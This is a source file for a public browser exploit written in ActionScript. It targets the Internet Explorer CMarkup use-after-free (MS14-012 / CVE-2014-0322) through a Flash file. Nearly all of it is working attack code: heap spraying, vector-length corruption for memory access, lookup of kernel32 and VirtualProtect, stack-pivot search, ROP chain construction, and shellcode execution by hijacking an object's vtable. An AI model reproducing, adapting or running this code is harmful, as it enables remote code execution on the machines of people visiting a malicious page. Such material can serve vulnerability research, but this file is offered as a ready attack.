/* * MS14-012 Internet Explorer CMarkup Use-After-Free * Vendor Homepage: http://www.microsoft.com * Version: IE 10 * Date: 2014-03-31 * Exploit Author: Jean-Jamil Khalife * Tested on: Windows 7 SP1 x64 (fr, en) * Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77) * Home: http://www.hdwsec.fr * Blog : http://www.hdwsec.fr/blog/ * MS14-012 / CVE-2014-0322 * * Generation: * c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf * */ package { import __AS3__.vec.Vector; import flash.display.*; import flash.events.*; import flash.external.*; import flash.media.*; import flash.net.*; import flash.text.*; import flash.utils.*; import Math; import flash.system.Security; import flash.external.ExternalInterface; import flash.display.LoaderInfo; public class AsXploit extends Sprite { public var s:Vector.; public var spraysound:Vector.; public var myTimer:Timer; public var sound:Sound; public var shellcodeObj:Array; /* * Prepare the heap * Trigger the vulnerability * Exploit :) */ public function AsXploit() { shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(","); /* Prepare the heap */ init_heap(); /* Trigger the vulnerability */ ExternalInterface.call("trigger"); /* Check every second if the vulnerability has triggered */ myTimer = new Timer(1000, 114096); myTimer.addEventListener("timer", timerHandler); myTimer.start(); } /* Prepare the heap * Spray aligned vector & sound objects */ public function init_heap():void { var len:int = 0; var i:int = 0; /* Spray the integer array */ this.s = new Vector.(0x18180); while (len < 0x18180) { this.s[len] = new Vector.(0x1000 / 4 - 16); for (i=0; i < this.s[len].length; i++) { this.s[len][i] = 0x1a1a1a1a; } ++len; } /* Spray sound object ptr */ this.sound = new Sound(); this.spraysound = new Vector.(0x100); len = 0; while (len < 0x100) { this.spraysound[len] = new Vector.(0x1234); for (i=0; i < this.spraysound[len].length; i++) { this.spraysound[len][i] = this.sound; } ++len; } } /* * Read an INT value in memory */ public function readInt(u1:int, u2:int, mod:uint):int { var valres:uint = 0; if (mod == 1){ valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000; } else if (mod == 2){ valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000; } else if (mod == 3){ valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100; } else { valres = u1; } return valres; } /* * Search a stack pivot dynamically * baseflashaddr_off: flash dll base address offset * index: index of vectors table * offset: offset to get the Stackpivot RVA */ public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint { var sp:uint = 0; var sn:uint = 0; var secname:uint = 0; var sec:uint = 0; var peindex:uint = 0; var virtualSize:uint = 0; var virtualAddr:uint = 0; var i:uint = 0; /* Find .text */ peindex = this.s[index][baseflashaddr_off+0x3C/4]; sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16; /* Find 0xC394 */ for (sec=0; sec < sn; sec++) { if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74) { virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3]; virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2]; /* Find a stack pivot */ for (i=0; i < virtualSize/4; i++) { if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394) { if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400) { if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000) { if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000 && (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3) { sp = virtualAddr + i*4 + 3; break; } } else { sp = virtualAddr + i*4 + 2; break; } } else { sp = virtualAddr + i*4 + 1; break; } } else { sp = virtualAddr + i*4; break; } } } } if (sp != 0) sp = offset+sp; return sp; } /* * Build & Insert the stack pivot + ROP + Shellcode * Corrupt sound object vtable ptr * baseflashaddr_off: flash dll address offset * index: vectors table index * cvaddr: corrupted vector address * virtualprotectaddr: virtual protect address * sp: stack pivot address */ public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void { var dec:uint = 0; var soundobjref:uint = 0; var soundobjaddr:uint = 0; var sh:uint=0x300; var i:uint = 0; /* Corrupt sound object vtable ptr */ while (1) { if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) { soundobjref = this.s[index][j+0x0A]; dec = soundobjref-cvaddr-1; this.s[index][dec/4-2] = cvaddr+2*4+4*4; break; } j++; } /* Stack pivot */ for (i=0; i < 0x200; i++) this.s[index][i] = sp; /* ROP */ this.s[index][0] = 0x41414141; this.s[index][1] = 0x41414141; this.s[index][2] = 0x41414141; this.s[index][3] = 0x41414141; this.s[index][4] = virtualprotectaddr; this.s[index][5] = cvaddr+0xC00+8; this.s[index][6] = cvaddr; this.s[index][7] = 0x4000; this.s[index][8] = 0x40; this.s[index][9] = 0x1a002000; /* Shellcode */ for(var u:String in shellcodeObj) { this.s[index][sh++] = Number(shellcodeObj[u]); } } /* * Get flash module base address * index: index of vectors table * cvaddr: corrupted vector address */ public function getFlashBaseAddr(index:uint, cvaddr:uint):Array { var baseflashaddr_off:uint = 0; var j:int = 0; var k:int = 0; var kmax:uint = 0; var vtableobj:int = 0; var ocxinfo:Array = new Array(); while (1) { if (this.s[index][j] == 0x00010c00) { vtableobj = this.s[index][j+0x08] & 0xFFFF0000; /* Get ocx base address */ k = 0; while (1) { if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D) { baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2; ocxinfo[0] = baseflashaddr_off; ocxinfo[1] = j; ocxinfo[2] = k; ocxinfo[3] = vtableobj; return ocxinfo; } k = k + 0x1000; } } j = j + 0x1; } return ocxinfo; } /* * Find kernel32.dll index * index: index of vectors table * baseflashaddr_off: flash dll address offset * importsindex: offset to the imports table */ public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint { var nameindex:uint = 0; var dllname:int = 0; var nameaddr:int = 0; do { nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; /* kernel32.dll not found */ if (nameaddr == 0x0) break; dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); /* Check kernel32.dll */ if (dllname == 0x6E72656B || dllname == 0x4E52454B) { nameaddr = nameaddr + 4; dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); if (dllname == 0x32336C65 || dllname == 0x32334C45) { nameaddr = nameaddr + 4; dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) { return nameindex; } } } /* Next dll */ nameindex = nameindex + 0x14; } while (1); return 0; } /* * Get VirtualProtectStub() addr */ public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint { var fct_addr:uint = 0; var fct_name:uint = 0; var fct_name_struct:uint = 0; do { fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4)); fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4)); /* VirtualProtectStub() not found */ if (fct_addr == 0 || fct_name_struct == 0) break; if ((fct_name_struct & 0x80000000) != 0x80000000) { fct_name_struct = fct_name_struct + 2; fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); /* Check VirtualProtect */ if (fct_name == 0x74726956 || fct_name == 0x54524956) { fct_name_struct = fct_name_struct + 4; fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); if (fct_name == 0x504c4155 || fct_name == 0x506c6175) { fct_name_struct = fct_name_struct + 4; fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); if (fct_name == 0x45544f52 || fct_name == 0x65746f72) { return fct_addr; } } } } /* Next Function() */ fct_addr_offset = fct_addr_offset + 0x4; fct_name_offset = fct_name_offset + 0x4; } while (1); return 0; } /* * Get corrupted vector index */ public function getCorruptedVectorIndex():uint { var i:uint = 0; for (i=0; i < this.s.length; i++) { if (this.s[i].length == 0x3FFFFFFF) { return i; } } return i; } /* * Corrupt next vector size */ public function corruptNextVector(index:uint):uint { var j:uint = 0; for (j=0; j < this.s.length; j++) { if (this.s[index][j] == 0x000003F0) { this.s[index][j] = 0x3FFFFFFF; return j; } j = j + 1; } return 0; } /* * Perform the exploitation * - Find VirtualProtect() * - Find a stack pivot * - Build payload (SP + ROP + SC) * - Run payload */ public function timerHandler(event:TimerEvent):void { var i:int = 0; var j:int = 0; var k:int = 0; var vtableobj:int = 0; var peindex:int = 0; var importsindex:int = 0; var k32index:int = 0; var fct_name_offset:uint = 0; var fct_addr_offset:uint = 0; var baseflashaddr_off:int = 0; /* Base address of the flash dll */ var vp_addr:uint = 0; /* VirtualProtectStub() addr */ var stackpivot:uint = 0; /* Stackpivot address */ var cvaddr:int = 0x1a001000; /* corrupted vector address */ var ocxinfo:Array; var i2:uint = 0; /* Search the corrupted vector */ for (i=0; i < this.s.length; i++) { /* Find corrupted vector */ if (this.s[i].length == 0x010003f0) { this.myTimer.stop(); /* Corrupt next vector size */ if (corruptNextVector(i) == 0) return; /* Find corrupted vector */ i2 = getCorruptedVectorIndex(); if (i2 == 0) return; /* Get flash base addr */ ocxinfo = getFlashBaseAddr(i2, cvaddr); if (ocxinfo.length == 0) return; baseflashaddr_off = ocxinfo[0]; j = ocxinfo[1]; k = ocxinfo[2]; vtableobj = ocxinfo[3]; /* Get imports table */ peindex = this.s[i2][baseflashaddr_off+0x3C/4]; importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4]; /* Find kernel32.dll */ k32index = getK32Index(i2, baseflashaddr_off, importsindex); if (k32index == 0) return; fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4]; fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4]; /* Find VirtualProtectStub() addr */ vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset); if (vp_addr == 0) return; /* Search Stack Pivot */ stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k); if (stackpivot == 0) return; /* Build Payload */ buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot); /* Run Payload */ this.sound.toString(); return; } } } } }